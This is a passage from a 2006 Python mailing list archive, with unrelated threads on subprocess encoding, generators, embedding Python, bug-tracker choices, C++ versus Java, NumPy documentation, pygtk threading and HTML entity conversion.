combined with an understanding of what the comparison operation REALLY 
does (yield a 1 or a 0) helps you understand where your result came 
from, while thinking in terms of true/false will mislead you.





From Leo.Kislov at gmail.com  Mon Oct 30 02:34:07 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 29 Oct 2006 23:34:07 -0800
Subject: subprocess decoding?
References: <mn.e3367d6a33fa6730.46195@XX.XmclaveauX.com>
Message-ID: <1162193647.335011.315830@m7g2000cwm.googlegroups.com>


MC wrote:
> Hi!
>
> On win-XP (french), when I read subprocess (stdout), I must use
> differents decoding (cp1252,cp850,cp437, or no decoding), depending of
> the "launch mode" of the same Python's script:
>   - from command-line
>   - from start+run
>   - from icon
>   - by Python-COM-server
>   - etc.
>
> (.py & .pyw can also contribute)
>
>
> How to know, on the fly, the encoding used by subprocess?

You can't. Consider a Windows equivalent of UNIX "cat" program. It just
dump content of a file to stdout. So the problem of finding out the
encoding of stdout is equal to finding out encoding of any file. It's
just impossible to do in general. Now, you maybe talking about
conventions. AFAIK since Windows doesn't have strong command line
culture, it doesn't such conventions.

  -- Leo



From larry.bates at websafe.com  Tue Oct  3 17:05:42 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 03 Oct 2006 16:05:42 -0500
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <mK-dnRYVkqs4Tb_YnZ2dnUVZ_r-dnZ2d@comcast.com>

LaundroMat wrote:
> Suppose I have this function:
> 
> def f(var=1):
> return var*2
> 
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..
> 
> Thanks in advance.
> 
The answer is don't pass any value.

print f()

will print 2

-Larry Bates


From rurpy at yahoo.com  Sun Oct 15 17:31:06 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 15 Oct 2006 14:31:06 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1160938429.707909.28360@f16g2000cwb.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
Message-ID: <1160947865.920162.173040@i3g2000cwc.googlegroups.com>


Robert Hicks wrote:
> rurpy at yahoo.com wrote:
> > T. Bryan wrote:
> > > Thomas Heller wrote:
> > >
> > > > I cannot connect to starship.python.net: neither http, nor can I login
> > > > interactively with ssl (and the host key seems to have changed as well).
> > > >
> > > > Does anyone know more?
> > >
> > > starship.python.net was compromised.  It looked like a rootkit may have been
> > > installed.  The volunteer admins are in the process of reinstalling the OS
> > > and rebuilding the system.  That process will probably take a few days at
> > > least.
> >
> > Does anyone know more?
> >
> > What about the integrity of the python packages hosted there?
> > When was the site compromised?
> > I just installed the python 2.5 pywin module last week.
> > Should I be concerned?
> >
> > Is this related to the Python security problem recently announced?
>
> Did you even read about the vulnerability?

Yes.  Do you have any answers, or do you just enjoy posting irrevelant
responses?



From paddy3118 at netscape.net  Thu Oct 26 14:51:27 2006
From: paddy3118 at netscape.net (Paddy)
Date: 26 Oct 2006 11:51:27 -0700
Subject: How to identify generator/iterator objects?
In-Reply-To: <mailman.1200.1161805415.11739.python-list@python.org>
References: <mailman.1200.1161805415.11739.python-list@python.org>
Message-ID: <1161888686.918622.224000@h48g2000cwc.googlegroups.com>


Kenneth McDonald wrote:
> I'm trying to write a 'flatten' generator which, when give a
> generator/iterator that can yield iterators, generators, and other data
> types, will 'flatten' everything so that it in turns yields stuff by
> simply yielding the instances of other types, and recursively yields the
> stuff yielded by the gen/iter objects.
>
> To do this, I need to determine (as fair as I can see), what are
> generator and iterator objects. Unfortunately:
>
>  >>> iter("abc")
> <iterator object at 0x61d90>
>  >>> def f(x):
> ...     for s in x: yield s
> ...
>  >>> f
> <function f at 0x58230>
>  >>> f.__class__
> <type 'function'>
>
> So while I can identify iterators, I can't identify generators by class.
>
> Is there a way to do this? Or perhaps another (better) way to achieve
> this flattening effect? itertools doesn't seem to have anything that
> will do it.
>
> Thanks,
> Ken

Unfortunately, nothing is as easy as it may seem:

>>> def is_generator(f):
... 	return f.func_code.co_flags & CO_GENERATOR != 0
...
>>> def f(x):
... 	for s in x: yield s
...
>>> is_generator(f)
True
>>> # But look at the following:
>>> def f2(x):
... 	def g(y):
... 		for s in y: yield s
... 	return g(x)
...
>>> f2([1,2,3])
<generator object at 0x013DEC88>
>>> is_generator(f2)
False
>>> 

;-)

- Paddy.



From robfalck at gmail.com  Mon Oct 30 16:14:03 2006
From: robfalck at gmail.com (robfalck)
Date: 30 Oct 2006 13:14:03 -0800
Subject: Python windows interactive.
In-Reply-To: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
Message-ID: <1162242843.691125.297860@k70g2000cwa.googlegroups.com>

edit a plain text file, just type one line


print "hello, world"


Now save that one-line text file as "hello.py".  From the command line,
in the same directory, type:

python hello.py


And it should run your script.  Python doesnt require line numbers.

Happy coding.



From fulvio at tm.net.my  Tue Oct 24 12:15:09 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 25 Oct 2006 00:15:09 +0800
Subject: Debugging
In-Reply-To: <wihmz7ndl3z.fsf@panix3.panix.com>
References: <mailman.894.1161423816.11739.python-list@python.org>
	<mailman.968.1161596873.11739.python-list@python.org>
	<wihmz7ndl3z.fsf@panix3.panix.com>
Message-ID: <200610250015.09094.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Tuesday 24 October 2006 00:59, R. Bernstein wrote:
> analogous the command of the same name in gdb.

That's available as pdb in the same directory. I didn't try it yet.
About pydb, I may say that triggered my curiosity and I'll give it a try.

> Should you want to somehow build such a debugger script from an
> interactive debugging session, "set history" and "set logging" might
> be helpful.

Well, in my normal use (as I was used to do with "trace" in Arexx :-) ), I'm 
putting the program on hold and run it from inside pdb. I don't know 
procedures by use of command file set.
In such mode I might seed some breakpoint at keypoint of the program and when 
there it stops I investigate some of the critical variable used in that 
point, to see if all goes as expected.

F



From juho.schultz at pp.inet.fi  Thu Oct  5 15:23:47 2006
From: juho.schultz at pp.inet.fi (Juho Schultz)
Date: 5 Oct 2006 12:23:47 -0700
Subject: user modules
In-Reply-To: <1160067331.530002.178270@h48g2000cwc.googlegroups.com>
References: <eg29os$6b4$1@enyo.uwa.edu.au>
	<1160067331.530002.178270@h48g2000cwc.googlegroups.com>
Message-ID: <1160076227.300513.183740@c28g2000cwb.googlegroups.com>

Juho Schultz wrote:
> Cameron Walsh wrote:
> > Hi,
> >
> > I'm writing a python program to analyse and export volumetric data.  To
> > make development and extension easier, and to make it more useful to the
> > public when it is released (LGPL), I would like to enable users to place
> > their own python files in a "user_extensions" directory.  These files
> > would implement a common interface in order for the main program to be
> > able to read them and execute the necessary code.
> >
> > My question is what is the best way of implementing this?
> >
> > I have investigated importing them as modules, but unless the user
> > modifies the main program I cannot see how the main program can learn of
> > the existence of specific modules.
> >
>
> One simple solution would be a shell script that adds user_extensions
> (or whatever) to $PYTHONPATH and then starts your main program.

Sorry... I was typing faster than reading or thinking.

You could have a __init__.py file within user_extensions with
__all__ = ["package1", "package2"]

If you want every python file within some directory in here, you can
auto-generate the __init__.py file in user_extension before importing.
(Or you could have some sort of tester for new .py files detected and
only after you are sure it works, add it.)

from user_extensions import *

would import everything mentioned in __all__. You also have access to
their names through
user_extensions.__all__

The last step would be to put the modules into a list. After the
import,

user_ext_list = [eval(elem) for elem in user_extensions.__all__ ]
for ext in user_ext_list:
    ext.initialize()
    ext.get_tab_window()



From paul at boddie.org.uk  Tue Oct  3 07:55:49 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 3 Oct 2006 04:55:49 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com>
Message-ID: <1159876549.269636.124940@b28g2000cwb.googlegroups.com>

Paul Rubin wrote:
> "Giovanni Bajo" <noway at sorry.com> writes:
> >
> > Does this smell "Bitkeeper fiasco" to anyone else than me?

I probably said as much before, possibly to the distaste of some
individuals. Still, the BitKeeper story should serve as a reminder
about relinquishing control of infrastructure to some seemingly
benevolent third party with their own separate interests. It should
especially be a reminder to those who deem Torvalds-style "overt
pragmatism" to be virtuous in the face of supposedly ideological
realism.

Of course, there's presumably a huge gulf between the vendor in this
case and the vendor in the BitKeeper case, especially with respect to
draconian non-compete clauses and threats to sue one's own customers.
However, it's certainly not some kind of heresy to at least question
the wisdom of moving community resources and services around in such a
way. After all, this situation has been brought about because of a
dependence on a supposedly unreliable commercial third party.

> Sounds crazy, what's wrong with bugzilla?

Well, Bugzilla is a bit of a monster. ;-) Seriously, having installed
it, it seems like a relic of the early CGI period with a bunch of files
that you're supposed to throw in a CGI directory before performing
.htaccess surgery, which they admittedly do for you if you choose to
trust that particular method of deployment. Contrast that with various
other common Web applications which only put actual CGI programs within
the CGI directory, making the whole deployment much cleaner and easier
to troubleshoot/maintain, and you can see that there's a serious need
for some repackaging work.

Sure, there are scripts to help check dependencies, which meant a trip
to CPAN (not as joyous as its advocates would have you believe), and
there is a nice configuration system in Bugzilla's own Web interface
which helps you finish the job off (providing you don't forget
something in the 16 pages of settings), but there's always this nasty
suspicion that something somewhere probably isn't configured properly.
Finally, on the subject of the inner workings of Bugzilla, one is
presented with the amusement of diving into Perl to fix stuff:
something that not everyone is enthusiastic about.

As for Bugzilla's interface, it is telling that some open source
projects actually put a layer on top of Bugzilla in order to avoid the
complexity of the search interface, although it must be said that
recent versions don't seem to immediately throw up the page with 40 or
so controls on it, just to search for a bug. That said, the fact that
many open source projects continue to use Bugzilla would suggest that
they're either not interested in or aware of alternatives (quite
possible), or they're reasonably happy with it (also quite possible).

Paul



From john+news at curioussymbols.com  Thu Oct  5 05:17:22 2006
From: john+news at curioussymbols.com (John Pye)
Date: Thu, 05 Oct 2006 19:17:22 +1000
Subject: embedding python -- windows specify problems
Message-ID: <4524cda2$1@clarion.carno.net.au>

Hi all

I have been working on some new code that embeds python in an C 
application. The embedding is working fine under Linux but crashing 
under Windows (XP) when I reach the following step.

PyRun_AnyFile(f,name);

If there's some python exception being thrown by the PyRun_AnyFile call, 
how can I retrieve it from C?

Even when the file (f) being run by Python contains only a 'print' 
statement, the application still crashes on WinXP. The linking to Python 
seems to be working OK, and the following C code that precedes the above 
PyRun_AnyFile statement seems to be working fine:

PyRun_SimpleString("import ascpy");
PyRun_SimpleString("L = ascpy.Library()");
PyRun_SimpleString("print L");

Can anyone suggest what some good diagnostic steps would be?

My embedding code is at the following link. I'm happy to explain the 
architecture in more detail if that helps.
https://pse.cheme.cmu.edu/svn-view/ascend/code/branches/extfn/models/johnpye/extpy/

Any suggestions very much appreciated!

Cheers
JP


From deets at nospam.web.de  Wed Oct 11 14:34:44 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 11 Oct 2006 20:34:44 +0200
Subject: Dive Into Java?
In-Reply-To: <4p4hpqFhc4ilU1@individual.net>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de>
	<4p4hpqFhc4ilU1@individual.net>
Message-ID: <4p4rq4Fguir3U1@uni-berlin.de>

Bjoern Schliessmann schrieb:
> Diez B. Roggisch wrote:
> 
>> Yes. You can for example create a constructor for object Foo,
>> which then is implicitly chosen when assigning an int to a
>> variable of that kind. So it acts as a casting operator. I call
>> that wicked, and subtle.
>>
>> class Foo {
>>   int _arg;
>> public:
>>   Foo(int arg) {
>>     _arg = arg;
>>   }
>> };
>>
>> int main() {
>>   Foo f = 10;
>> }
> 
> Just looks like Java's
> 
> String spam = "eggs";

You don't seem to understand what is happening here. The fact that 
string literals in java exist has nothing to do with an implicit type 
casting as above example shows.


>> Who cares for the reason - it is there, isn't it? You are the one
>> claiming that a new language should get rid of old concepts, btw.
> 
> Is C++ new? :) IIRC it's well 10 years older than Java, and that's
> quite a lot in IT. Apart from this, Java is constantly evolving
> (through Sun), where C++ is quite a standard since <= 1998.

C++ was new, nobody forced them to keep pointers around.

> If I'd like to write a class that is interface compatible to Java's
> String, so e.g. that I can use it with "+" operator or the
> simplified construction (String a = "b";).

That isn't possible with python, too. It _is_ possible with C++, yes, as 
my own example above shows, but at the cost of complex semantics.

And the +-operator can be used when you have a toString-method.

> I don't offense compiler optimization, but the clunkiness of
> those "special rules for String only" additions.

Python has those clunky rules as well as C++ - or don't you write 
character literals like

"abcd"

in C++ as well? Where exactly is that clunky?


>> The way is not awkward, it is called auto-boxing/unboxing and
>> works very well. 
> 
> But it looks weird. Why not use classes for basic types? Is
> performance really the reason? It kind of splits the language
> style.

For the same reason ints and floats aren't objects _internally_ in C++ 
as well - optimization. C++ did go a better way here by treating ints as 
objects syntactically, but the distinction is most of the times removed 
from java as well since 1.5.

> And this is more than matched by the subtle differences between
>>
>> Foo a;
>> Foo &a;
>> Foo *a;
> 
> I don't think that's too subtle. But, perhaps, just because I'm used
> to C++. It has a little bit too many compatibility features.
> 
> But I'd rather like to have several options than being forced in one
> way.

But choices let you make more errors - which was my point from the 
beginning: java is a limited language, and I don't like it too much. But 
it makes it hard to do things wrong. C++ makes it hard to make them right.

Diez


From draghuram at gmail.com  Tue Oct 31 15:46:31 2006
From: draghuram at gmail.com (draghuram at gmail.com)
Date: 31 Oct 2006 12:46:31 -0800
Subject: Overriding traceback print_exc()?
References: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
Message-ID: <1162327591.593141.198590@i42g2000cwa.googlegroups.com>

I usually have a function like this:

def get_excinfo_str():
    """return exception stack trace as a string"""

    (exc_type, exc_value, exc_traceback) = sys.exc_info()
    formatted_excinfo = traceback.format_exception(exc_type, exc_value,
exc_traceback)
    excinfo_str = "".join(formatted_excinfo)

    del exc_type
    del exc_value
    del exc_traceback

    return(excinfo_str)


I can then call it from within "except" and print it to a log file.

Raghu.

Bob Greschke wrote:
> I want to cause any traceback output from my applications to show up in one
> of my dialog boxes, instead of in the command or terminal window (between
> running on Solaris, Linux, OSX and Windows systems there might not be any
> command window or terminal window to show the traceback messages in).  Do I
> want to do something like override the print_exc (or format_exc?) method of
> traceback to get the text of the message and call my dialog box routine?  If
> that is right how do I do that (monkeying with classes is all still a grey
> area to me)?
>
> I kind of understand using the traceback module to alter the output of
> exceptions that I am looking for, but I'm after those pesky ones that should
> never happen. :)
> 
> Thanks!
> 
> Bob



From fabien.benard at gmail.com  Fri Oct 13 06:38:12 2006
From: fabien.benard at gmail.com (fabien.benard at gmail.com)
Date: 13 Oct 2006 03:38:12 -0700
Subject: SOAPpy and callback
In-Reply-To: <4p94a0Fhr1amU1@uni-berlin.de>
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
Message-ID: <1160735892.207093.64960@k70g2000cwa.googlegroups.com>

SOAP standard doesn't provide any callback, and it looks like SOAPpy
doesn't too.
I remember using callbacks with Javascript and SOAP in Web pages. I was
just wondering if there could be the same with Python.

Thanks for your answer.



From cfriedalek at gmail.com  Wed Oct 25 19:09:53 2006
From: cfriedalek at gmail.com (cfriedalek at gmail.com)
Date: 25 Oct 2006 16:09:53 -0700
Subject: win32com problem - Problem Solved
In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
Message-ID: <1161817793.192169.216710@i3g2000cwc.googlegroups.com>

Problem solved.

Turns out it was a problem of mistranslating VBS code to Python.

The PYTHON line "print str(tet)" casts tet to a string and prints. This
is what I thought the VBS line "Str = Tet.ConvertToString()" was doing.
But of course "ConvertToString()" is a method of a Tet instance. So in
python the correct line should have been "print tet.ConvertToString".

Learning all the time.



From rdiaz02 at gmail.com  Fri Oct  6 15:22:16 2006
From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte)
Date: Fri, 6 Oct 2006 21:22:16 +0200
Subject: switching to numpy and failing, a user story
In-Reply-To: <1160151980.338496.225670@m7g2000cwm.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
	<1159984398.088012.209640@k70g2000cwa.googlegroups.com>
	<1160142732.752533.266840@m7g2000cwm.googlegroups.com>
	<1160151980.338496.225670@m7g2000cwm.googlegroups.com>
Message-ID: <624934630610061222t27fe1f87k5ab74b9ac8864e7d@mail.gmail.com>

On 6 Oct 2006 09:26:23 -0700, Istvan Albert <istvan.albert at gmail.com> wrote:
> sturlamolden wrote:
>
> > Those involved in the development of NumPy must receive some
> > compensation. Financial support to NumPy also ensure that the
> > developmentcan continue. I for one does not want to see NumPy as
>
> Then charge for NumPy ... or write a book *besides* the documentation.
> One in which you make good use of NumPy and demonstrate the actual
> problem solving process.
>
> Charging for docs is just shooting yourself in the foot.

I beg to disagree with you (even if I'd rather have the docs for free):

1. You have NumPy available, so you can use it. Paying for software
is, for many reasons, and for many of us, an absolute show stopper.

2. For many people the "for free" docs and help are enough.

3. As already said, this mechanism allows some people to make a
contribution that would otherwise be impossible. For instance, if you
use NumPy in your job, and your employer (be that a private business
or the public sector if you are paid with tax money) benefits from it,
how can you return that back? Ask that the book be bought. Moreover,
even if, say, I might be willing to pay for the book, maybe my grad
students can't; I might be able to use grant money, to purchase a copy
for a grad student.

(It is actually interesting that in the R help mailing list there are
from time to time suggestions that CDs with R ---even if R is GPL'd
software that you can download from the web--- be sellable by the R
foundation, as a possible way to allow employers to make a
contribution to the R project.)


>
> Plus that so called documention seems very unwieldy and unattractive,

attractiveness is on the eye of the looker, I'd say. A lot of it looks
like classical good-looking LaTeX to me.

> long winded text, you can't search it, google won't index it -> people
> won't find what they are looking for.

Many textbooks and reference books are not indexed by google. Yet we
pay for them and we use them. These are incoveniences, not fatal
blows.


Best,

R.
>
> I.
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


-- 
Ramon Diaz-Uriarte
Computational Statistics Team
Structural Biology and Biocomputing Programme
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz


From ironpythonster at gmail.com  Fri Oct 13 05:45:57 2006
From: ironpythonster at gmail.com (Kevien Lee)
Date: Fri, 13 Oct 2006 17:45:57 +0800
Subject: How to print the CDATA of .xml file?
Message-ID: <8c8dcbe30610130245q35b8eb81o951f3c82955b20b6@mail.gmail.com>

---------- Forwarded message ----------
From: "Fredrik Lundh" <fredrik at pythonware.com>
To: python-list at python.org
Date: Fri, 13 Oct 2006 11:03:45 +0200
Subject: Re: How to print the CDATA of .xml file?
Kevien Lee wrote:

> when i use the minidom to parase the XML file,it would ignored the section
> of <![CDATA[.......]>
> the code is:
>
> _document=minidom.parse("filePath")
> _documnetList=_document.getElementsByTagName("NodeArgs")
> for _argNode in _documnetList:
>    print _argNode.nodeValue,_argNode.localName
>
> when it run. The nodeValue of the CDATA Section  is  always None,Is my
code
> error?

here's one way to do it, under Python 2.5:

   import xml.etree.ElementTree as ET

   tree = ET.parse(filename)

   for elem in tree.findall(".//NodeArgs"):
       print elem.findtext("Disp")
       print elem.findtext("BtmPane/Path")

</F>
------------------------------------------------

use Python 2.5 is easy and good, but is there any others  way under version
2.4?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20061013/2bdd2174/attachment.html>

From carsten at uniqsys.com  Fri Oct 20 11:33:36 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Fri, 20 Oct 2006 11:33:36 -0400
Subject: list comprehension (searching for onliners)
In-Reply-To: <ehantn$235$1@sea.gmane.org>
References: <4538C09E.2040408@fmed.uba.ar>
	<4538C950.1060403@tim.thechases.com> <4538E167.9080408@fmed.uba.ar>
	<ehantn$235$1@sea.gmane.org>
Message-ID: <1161358416.23516.19.camel@dot.uniqsys.com>

On Fri, 2006-10-20 at 10:53, Fredrik Lundh wrote:
> if you want to become a good Python programmer, you really need to get
> over that "I need a oneliner" idea.

+1 QOTW

-Carsten




From ebgssth at gmail.com  Thu Oct 12 10:13:27 2006
From: ebgssth at gmail.com (js )
Date: Thu, 12 Oct 2006 23:13:27 +0900
Subject: prefix search on a large file
In-Reply-To: <1160647737.312386.37800@c28g2000cwb.googlegroups.com>
References: <mailman.365.1160642731.11739.python-list@python.org>
	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>
Message-ID: <a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>

Thank you for the quick reply.

Here're the exact code I executed. (including your code)

#!/usr/bin/env python
from pprint import pprint as pp

data = [
   'foo bar baz',
   'foo bar',
   'foo',
   'food',
   'food', # duplicate
   'xyzzy',
   'plugh',
   'xyzzy and plugh are magic',
   'zzzz',
   ]

data_sorted_by_len = sorted(data, key=len)
data_sorted_by_asc = sorted(data)
print "OP trial 1 input"; pp(data)

def prefixdel_stupidly(alist):
    for line in alist[:]:
	unneeded = [no for no, line2 in enumerate(alist[1:]) if
line2.startswith(line) and line != line2]
	adjust=1
	for i in unneeded:
	    del alist[i+adjust]
	    adjust -= 1
    return alist

def prefixdel_recursively(alist):
    if len(alist) < 2:
	return alist

    unneeded = [no for no, line in enumerate(alist[1:]) if
line.startswith(alist[0])]
    adjust=1
    for i in unneeded:
        del alist[i+adjust]
	adjust -= 1

    return [alist[0]] + prefixdel_recursively(alist[1:])

def prefixdel_by_john(alist):
    olist = []
    for i in xrange(len(alist)-1, 0, -1):
	if alist[i].startswith(alist[i-1]):
	    continue
	olist.append(alist[i])
    olist.append(alist[0])
    return olist

if __name__ == '__main__':
    from timeit import Timer
    print sorted(prefixdel_stupidly(data_sorted_by_len[:]))
    print sorted(prefixdel_recursively(data_sorted_by_len[:]))
    print sorted(prefixdel_by_john(data_sorted_by_asc[:]))

    t = Timer("prefixdel_stupidly(data_sorted_by_len)", "from __main__
import prefixdel_stupidly, data_sorted_by_len")
    print t.timeit(number=100000)
    t = Timer("prefixdel_recursively(data_sorted_by_len)", "from
__main__ import prefixdel_recursively, data_sorted_by_len")
    print t.timeit(number=100000)
    t = Timer("prefixdel_by_john(data_sorted_by_asc)", "from __main__
import prefixdel_by_john, data_sorted_by_asc")
    print t.timeit(number=100000)

The output is the following:

$ python2.5 myprefixdel.py
OP trial 1 input
['foo bar baz',
 'foo bar',
 'foo',
 'food',
 'food',
 'xyzzy',
 'plugh',
 'xyzzy and plugh are magic',
 'zzzz']
['foo', 'plugh', 'xyzzy', 'zzzz']
['foo', 'plugh', 'xyzzy', 'zzzz']
['foo', 'food', 'plugh', 'xyzzy', 'zzzz']
1.17837095261
1.21182584763
0.737352132797

Your code is much faster than ones I wrote
but the result is a little bit different.('food' shoud be removed
because 'foo' is in the list)

As you pointed out, list[:] must be a big evil but without duplicating the list,
the problem become much harder to solve to me.

Any practical solution, anyone?


From bignose+hates-spam at benfinney.id.au  Wed Oct 25 20:58:08 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 10:58:08 +1000
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
Message-ID: <87k62nlwpr.fsf@benfinney.id.au>

"Hakusa at gmail.com" <Hakusa at gmail.com> writes:

> After researching Komodo, I found it's not free. The only funds I
> have are a college fund, and I can't start diping into that until
> I'm going to college. Any free AND good IDEs?

Please consider trying Python with a powerful editor, instead of a
just-for-Python environment. Knowing a powerful editor is a far better
investment than a complex tool for a single purpose.

-- 
 \          "I hope if dogs ever take over the world, and they chose a |
  `\    king, they don't just go by size, because I bet there are some |
_o__)                Chihuahuas with some good ideas."  -- Jack Handey |
Ben Finney



From kingcrowbar.list at gmail.com  Wed Oct 25 06:21:47 2006
From: kingcrowbar.list at gmail.com (kingcrowbar.list at gmail.com)
Date: 25 Oct 2006 03:21:47 -0700
Subject: pygtk and threading
Message-ID: <1161771707.636073.25470@m73g2000cwd.googlegroups.com>

Hello Everyone

I have been playing a little with pyGTK and threading to come up with
simple alert dialog which plays a sound in the background. The need for

threading came when in the first version i made, the gui would freeze
after clicking the close button until pygame finished playing the
sound.
In Windows it was acceptable because it could be ignored easily, but in

testing on linux (red hat 9) Gnome was throwing up a dialog for killing

hanging applications.

So now i have a threaded version that seems to work as it should
(except not
on rh9 beause gtk is to old, but that is getting upgraded to fc5/6 so
no
matter). So i was hoping to get some general comments about the code as
i am
not sure if i am doing the gtk or threading correctly (i hope the
pygame part
is simple enough that i have it right).


##code start##
#!/usr/bin/env python
"""
Simple alert message dialog with sound.
Runs a dummy audio function if pygame is missing and not run on
Windows.
It does work on linux (fc5) but i don't know the name of any wav file
so
i just copy the Windows tada.wav into same directory as script.
"""

import sys
import threading
import time
import gobject
import gtk
import os.path
try:
    import pygame.mixer as pgmixer
    import pygame.time as pgtime
except ImportError:
    print "pygame not found, using dummy audio"

gobject.threads_init()

alertmsg = "Ding Dong"

class ThreadOne(threading.Thread):
    """Dialog thread"""
    stopthread = threading.Event()
    def __init__(self):
        super(ThreadOne, self).__init__()
        self.dialog = gtk.MessageDialog(parent=None,
type=gtk.MESSAGE_INFO,
                    buttons=gtk.BUTTONS_NONE, flags=gtk.DIALOG_MODAL,
                    message_format=alertmsg)
        self.quit = False

    def run(self):
        """Run idle sleep loop while stopthread Event is not set"""
        while not self.stopthread.isSet():
            print self, " is running"
            time.sleep(1)

    def stop(self):
        """Set stopthread Event"""
        self.stopthread.set()

class ThreadTwo(threading.Thread):
    """Audio thread"""
    stopthread = threading.Event()
    def __init__(self):
        super(ThreadTwo, self).__init__()
        self.quit = False
        self.cnt = 0
        self.killaudio = 0

    def run(self):
        """While audioalert returns True, increment counter"""
        if (sys.modules.has_key('pygame')) and (sys.platform ==
'win32'):
            while audioalert():
                self.cnt += 1
        else:
            while audiodummy():
                self.cnt += 1

    def stop(self):
        """Set killaudio flag to 1, set stopthread Event"""
        self.killaudio = 1
        self.stopthread.set()
        print self, " stop was called"

def audiodummy():
    """dummy audio playback"""
    while t2.cnt >= 0 :
        if t2.killaudio == 0:
            print 'Beep!'
            time.sleep(1)
        else:
            print 'audiodummy done'
            return False
    return True

def audioalert():
    """
    Slightly expanded pygame/examples/sound.py
    Playback sound and then test for audio channel usage
    While channel is busy and while killaudio flag is set to 0
    Check every second and return True at end of sound playback
    When killaudio is set to 1 stop the playback and kill the mixer
    Return False for ThreadTwo.run
    NOTE: Copy tada.wav from X:\WINDOWS\Media\
    """
    pgmixer.init(11025)
    soundfile = os.path.join('.', 'tada.wav')
    sound = pgmixer.Sound(soundfile)
    channel = sound.play()
    while channel.get_busy():
        if t2.killaudio == 0:
            pgtime.wait(1000)
        else:
            sound.stop()
            pgmixer.quit()
            return False
    print '[DEBUG] loop number: ', t2.cnt
    return True

t1 = ThreadOne()
t2 = ThreadTwo()

mainwindow = t1.dialog
mainwindow.show_all()
mainwindow.connect("destroy", lambda _: gtk.main_quit())

t1.start()
t2.start()

gtk.main()

print 't2.stop'
t2.stop()
print 't1.stop'
t1.stop()

##code end##

Thanks for your time.

Brendan Mchugh



From anthra.norell at vtxmail.ch  Mon Oct 30 16:08:29 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 30 Oct 2006 22:08:29 +0100
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <1162230252.927146.85800@b28g2000cwb.googlegroups.com>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>	<mailman.1499.1162229880.11739.python-list@python.org>
	<1162230252.927146.85800@b28g2000cwb.googlegroups.com>
Message-ID: <454669CD.3050106@vtxmail.ch>

??? wrote:
> Oh, I didn't make myself clear.
>
> What I mean is how to convert a piece of html to plain text bu keep as
> much format as possible.
>
> Such as convert "&nbsp;" to blank space and convert <br> to "\r\n"
>
> Gary Herron wrote:
>   
>> ??? wrote:
>>     
>>> Is there any simple way to solve this problem?
>>>
>>>
>>>       
>> Yes, strings have a replace method:
>>
>>     
>>>>> s = "abc&nbsp;def"
>>>>> s.replace('&nbsp;',' ')
>>>>>           
>> 'abc def'
>>
>> Also various modules that are meant to deal with web and xml and such
>> have functions to do such operations.
>>
>>
>> Gary Herron
>>     
>
>   
 >>> my_translations = '''
   "&nbsp;= "
   # "<br>=\r\n"  "<BR>=\r\n"   # Windows
   "<br>=\n"  "<BR>=\n"     # Linux
   # Add others to your heart's content
'''

 >>> import SE      # From http://cheeseshop.python.org/pypi/SE/2.2%20beta

 >>> My_Translator = SE.SE (my_translations)

 >>> print My_Translator ('ABC&nbsp;DEFG<br>XYZ')
ABC DEFG
XYZ

SE can also strip tags and translate all HTM escapes and generally lets 
you do ad hoc translations in seconds. You just write them up, make an 
SE object from your text an run your data through it. As simple as that.
      If you wish further explanations, I'll be happy to explain.

Frederic




From sybrenUSE at YOURthirdtower.com.imagination  Mon Oct 23 08:45:50 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Mon, 23 Oct 2006 14:45:50 +0200
Subject: Python and CMS
References: <mailman.933.1161518325.11739.python-list@python.org>
	<1161546267.578778.35260@h48g2000cwc.googlegroups.com>
